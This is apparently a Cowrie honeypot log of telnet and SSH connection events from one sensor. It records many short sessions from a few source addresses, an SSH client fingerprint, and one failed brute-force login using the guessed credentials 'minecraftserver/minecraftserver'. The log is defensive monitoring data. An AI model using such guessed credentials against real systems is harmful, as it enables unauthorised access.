{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0d14813169","protocol":"telnet","message":"New connection: 185.15.23.59:51036 (159.203.135.109:23) [session: cc0d14813169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.586362Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35092,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdc3240ef363","protocol":"telnet","message":"New connection: 69.6.225.50:35092 (159.203.135.109:23) [session: cdc3240ef363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.777942Z"}
{"eventid":"cowrie.session.closed","duration":35.92707681655884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.961743Z","src_ip":"144.79.218.12","session":"71be32844b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35100,"dst_ip":"159.203.135.109","dst_port":23,"session":"b85ba27ae888","protocol":"telnet","message":"New connection: 69.6.225.50:35100 (159.203.135.109:23) [session: b85ba27ae888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:33.967140Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c449199a23","protocol":"telnet","message":"New connection: 69.6.225.50:35116 (159.203.135.109:23) [session: e2c449199a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.034354Z"}
{"eventid":"cowrie.session.closed","duration":30.689638376235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.097005Z","src_ip":"185.15.23.59","session":"73d00b1ee0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.260755Z","src_ip":"68.183.236.1","session":"6cc8a93ec988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53066,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd4c9705978","protocol":"telnet","message":"New connection: 185.15.23.59:53066 (159.203.135.109:23) [session: bbd4c9705978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.275350Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60408,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3bdd02293a6","protocol":"telnet","message":"New connection: 144.79.218.12:60408 (10.17.0.5:23) [session: b3bdd02293a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.295040Z"}
{"eventid":"cowrie.session.closed","duration":30.91456365585327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.436415Z","src_ip":"185.15.23.59","session":"3bb7f7af968b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182048320770264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.546314Z","src_ip":"69.6.225.50","session":"0fcbe2ace416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60422,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55ff52af26b","protocol":"telnet","message":"New connection: 144.79.218.12:60422 (10.17.0.5:23) [session: e55ff52af26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.551270Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":60426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d35dff0ca56","protocol":"telnet","message":"New connection: 144.79.218.12:60426 (10.17.0.5:23) [session: 8d35dff0ca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.680508Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":54240,"dst_ip":"159.203.135.109","dst_port":23,"session":"935c382c5d58","protocol":"telnet","message":"New connection: 185.15.23.59:54240 (159.203.135.109:23) [session: 935c382c5d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:34.747082Z"}
{"eventid":"cowrie.session.closed","duration":31.315627574920654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:35.012039Z","src_ip":"185.15.23.59","session":"24251dfd28db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":35120,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a87cace46f4","protocol":"telnet","message":"New connection: 69.6.225.50:35120 (159.203.135.109:23) [session: 3a87cace46f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:35.383824Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9caa165d8500","protocol":"telnet","message":"New connection: 185.15.23.59:57420 (159.203.135.109:23) [session: 9caa165d8500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:35.923806Z"}
{"eventid":"cowrie.session.closed","duration":31.622023105621338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.030446Z","src_ip":"185.15.23.59","session":"62965e3e684c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41867971420288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.074923Z","src_ip":"69.6.225.50","session":"6899f38f13ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439305305480957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.143513Z","src_ip":"185.15.23.59","session":"c0460bf62bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748007774353027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.158833Z","src_ip":"69.6.225.50","session":"d08a36c8a391","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.073895931243896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.282121Z","src_ip":"185.15.23.59","session":"371c199b512c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81246280670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.359030Z","src_ip":"69.6.225.50","session":"49b5c05ee359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070252418518066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.389742Z","src_ip":"185.15.23.59","session":"fb0f84b06024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.368323802947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.891537Z","src_ip":"185.15.23.59","session":"b65d8cc09d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60132,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2739ab7bc7e","protocol":"telnet","message":"New connection: 185.15.23.59:60132 (159.203.135.109:23) [session: c2739ab7bc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.899081Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60148,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27035686568","protocol":"telnet","message":"New connection: 185.15.23.59:60148 (159.203.135.109:23) [session: b27035686568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:36.904114Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":50524,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7cebac6e50","protocol":"telnet","message":"New connection: 102.133.227.168:50524 (159.203.135.109:23) [session: 9f7cebac6e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:37.024870Z"}
{"eventid":"cowrie.session.closed","duration":30.99482750892639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:37.146120Z","src_ip":"69.6.225.50","session":"d4c8a6f16e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"85381c160379","protocol":"telnet","message":"New connection: 185.15.23.59:33126 (159.203.135.109:23) [session: 85381c160379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:37.381131Z"}
{"eventid":"cowrie.session.closed","duration":30.87730646133423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:37.398983Z","src_ip":"185.15.23.59","session":"3c4d97446181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333210468292236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:37.748127Z","src_ip":"185.15.23.59","session":"eaaca8e5b418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549654960632324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.058800Z","src_ip":"69.6.225.50","session":"72d97f9c4c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55013942718506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.118070Z","src_ip":"185.15.23.59","session":"fed8186137e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":34432,"dst_ip":"159.203.135.109","dst_port":23,"session":"855b808dbadc","protocol":"telnet","message":"New connection: 69.6.225.50:34432 (159.203.135.109:23) [session: 855b808dbadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.469965Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36900,"dst_ip":"159.203.135.109","dst_port":23,"session":"93bb065ff97e","protocol":"telnet","message":"New connection: 185.15.23.59:36900 (159.203.135.109:23) [session: 93bb065ff97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.601180Z"}
{"eventid":"cowrie.session.closed","duration":30.82548475265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.618219Z","src_ip":"69.6.225.50","session":"1b583e76fa9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062162160873413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:38.918791Z","src_ip":"185.15.23.59","session":"29ef3a3177b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71104717254639,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.040505Z","src_ip":"144.79.218.12","session":"ef7a80408675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957154750823975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.089415Z","src_ip":"185.15.23.59","session":"2d00367cecbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39222,"dst_ip":"159.203.135.109","dst_port":23,"session":"e629a82dc4bf","protocol":"telnet","message":"New connection: 185.15.23.59:39222 (159.203.135.109:23) [session: e629a82dc4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.392835Z"}
{"eventid":"cowrie.session.closed","duration":30.94239568710327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.441899Z","src_ip":"185.15.23.59","session":"ea606e90630a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f2dc668b043","protocol":"telnet","message":"New connection: 185.15.23.59:39318 (159.203.135.109:23) [session: 5f2dc668b043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.470620Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"023084deddd9","protocol":"telnet","message":"New connection: 69.6.225.50:34440 (159.203.135.109:23) [session: 023084deddd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:39.501789Z"}
{"eventid":"cowrie.session.closed","duration":30.36810302734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.062832Z","src_ip":"69.6.225.50","session":"8ae0b0348fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490588426589966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.068806Z","src_ip":"69.6.225.50","session":"199a25aabf60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507172107696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.093307Z","src_ip":"185.15.23.59","session":"a776e603e4ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"891132610e84","protocol":"telnet","message":"New connection: 185.15.23.59:41928 (159.203.135.109:23) [session: 891132610e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.362104Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42010,"dst_ip":"159.203.135.109","dst_port":23,"session":"be5dc5790fac","protocol":"telnet","message":"New connection: 185.15.23.59:42010 (159.203.135.109:23) [session: be5dc5790fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.434332Z"}
{"eventid":"cowrie.session.closed","duration":31.487855672836304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.563199Z","src_ip":"185.15.23.59","session":"175ed96e72f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":45592,"dst_ip":"159.203.135.109","dst_port":22,"session":"32408ce57833","protocol":"ssh","message":"New connection: 91.134.240.52:45592 (159.203.135.109:22) [session: 32408ce57833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.924509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:40.929747Z","src_ip":"91.134.240.52","session":"32408ce57833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.001076Z","src_ip":"91.134.240.52","session":"32408ce57833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.788248777389526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.084617Z","src_ip":"69.6.225.50","session":"34e1b2c82775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464850902557373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.244665Z","src_ip":"185.15.23.59","session":"2c36a1fe0919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44464,"dst_ip":"159.203.135.109","dst_port":23,"session":"701ac5db9316","protocol":"telnet","message":"New connection: 185.15.23.59:44464 (159.203.135.109:23) [session: 701ac5db9316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.280997Z"}
{"eventid":"cowrie.session.closed","duration":30.616268157958984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.288329Z","src_ip":"185.15.23.59","session":"44fcbeb95be8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraftserver","password":"minecraftserver","message":"login attempt [minecraftserver/minecraftserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.293583Z","src_ip":"91.134.240.52","session":"32408ce57833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44562,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d5c129075fc","protocol":"telnet","message":"New connection: 185.15.23.59:44562 (159.203.135.109:23) [session: 9d5c129075fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:41.370481Z"}
{"eventid":"cowrie.session.closed","duration":30.639044523239136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.079983Z","src_ip":"69.6.225.50","session":"fe307405a90a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987515926361084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.134941Z","src_ip":"69.6.225.50","session":"11e009d30d01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"f75697ec6c74","protocol":"telnet","message":"New connection: 69.6.225.50:34450 (159.203.135.109:23) [session: f75697ec6c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.173415Z"}
{"eventid":"cowrie.session.closed","duration":31.29195737838745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.219963Z","src_ip":"69.6.225.50","session":"73c000fda690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":52528,"dst_ip":"159.203.135.109","dst_port":23,"session":"6837603baf4d","protocol":"telnet","message":"New connection: 102.133.227.168:52528 (159.203.135.109:23) [session: 6837603baf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.227483Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.378533Z","src_ip":"91.134.240.52","session":"32408ce57833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.455792665481567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.424741Z","src_ip":"69.6.225.50","session":"beed4097afcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"550c3f83fe30","protocol":"telnet","message":"New connection: 185.15.23.59:47376 (159.203.135.109:23) [session: 550c3f83fe30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.446864Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47362,"dst_ip":"159.203.135.109","dst_port":23,"session":"67232f61ef63","protocol":"telnet","message":"New connection: 185.15.23.59:47362 (159.203.135.109:23) [session: 67232f61ef63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.500655Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48004,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4b23335b40b","protocol":"telnet","message":"New connection: 185.15.23.59:48004 (159.203.135.109:23) [session: b4b23335b40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.633843Z"}
{"eventid":"cowrie.session.closed","duration":31.17300295829773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.708889Z","src_ip":"185.15.23.59","session":"7e52941dc364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48792,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01913762993","protocol":"telnet","message":"New connection: 185.15.23.59:48792 (159.203.135.109:23) [session: a01913762993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:42.924186Z"}
{"eventid":"cowrie.session.closed","duration":30.433300018310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.049707Z","src_ip":"185.15.23.59","session":"eb265efe5c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988531351089478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.054244Z","src_ip":"185.15.23.59","session":"bd7e0c94d791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49574,"dst_ip":"159.203.135.109","dst_port":23,"session":"f49abe01ba19","protocol":"telnet","message":"New connection: 185.15.23.59:49574 (159.203.135.109:23) [session: f49abe01ba19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.159958Z"}
{"eventid":"cowrie.session.closed","duration":35.96649241447449,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.435747Z","src_ip":"144.79.218.12","session":"af8044843d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":34462,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61b70326ef1","protocol":"telnet","message":"New connection: 69.6.225.50:34462 (159.203.135.109:23) [session: c61b70326ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.489197Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53c736353a3","protocol":"telnet","message":"New connection: 102.133.227.168:53112 (159.203.135.109:23) [session: f53c736353a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.624916Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50852,"dst_ip":"159.203.135.109","dst_port":23,"session":"09462a26ca62","protocol":"telnet","message":"New connection: 185.15.23.59:50852 (159.203.135.109:23) [session: 09462a26ca62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:43.693987Z"}
